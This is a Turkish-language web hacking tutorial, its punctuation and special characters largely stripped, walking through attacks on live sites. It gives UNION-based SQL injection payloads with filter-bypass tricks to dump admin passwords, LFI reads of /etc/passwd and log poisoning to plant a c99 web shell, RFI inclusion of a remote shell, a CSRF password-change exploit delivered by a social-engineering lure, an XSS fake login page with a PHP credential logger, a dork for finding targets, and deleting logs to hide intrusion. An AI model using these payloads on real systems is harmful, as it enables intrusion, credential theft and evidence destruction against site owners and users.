buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde
[Username]= admin UserİnfoCookie[Password]= mahserat
Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk
10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak
Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız
Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız
wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling
centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password
gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt
Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar
fakesayfaphp
ltphp
$login = $_POST[rsquologinrsquo]
$password= $_POST[rsquoPasswordrsquo]
$open = fopen(rsquologhtmrsquo rsquoa+rsquo)
fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo
Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
